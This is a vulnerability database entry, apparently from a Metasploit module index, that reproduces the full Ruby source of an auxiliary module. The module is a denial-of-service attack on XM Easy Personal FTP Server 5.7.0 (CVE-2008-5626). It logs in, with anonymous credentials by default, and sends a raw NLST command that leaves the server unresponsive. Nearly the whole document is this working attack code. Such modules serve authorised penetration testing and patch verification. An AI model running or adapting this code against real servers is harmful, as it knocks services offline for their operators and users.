XM Easy Personal FTP Server 5.7.0 NLST DoS

2009-04-07T18:26:19
ID MSF:AUXILIARY/DOS/WINDOWS/FTP/XMEASY570_NLST
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

You need a valid login to DoS this FTP server, but even anonymous can do it as long as it has permission to call NLST.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'XM Easy Personal FTP Server 5.7.0 NLST DoS',
      'Description'    => %q{
        You need a valid login to DoS this FTP server, but
        even anonymous can do it as long as it has permission
        to call NLST.
      },
      'Author'         => 'kris katterjohn',
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CVE', '2008-5626'],
        [ 'OSVDB', '50837'],
        [ 'EDB', '8294' ]
      ],
      'DisclosureDate' => 'Mar 27 2009')
    )

    # They're required
    register_options([
      OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
      OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
    ])
  end

  def run
    return unless connect_login

    raw_send("NLST\r\n")

    disconnect

    print_status("OK, server may still be technically listening, but it won't respond")
  end
end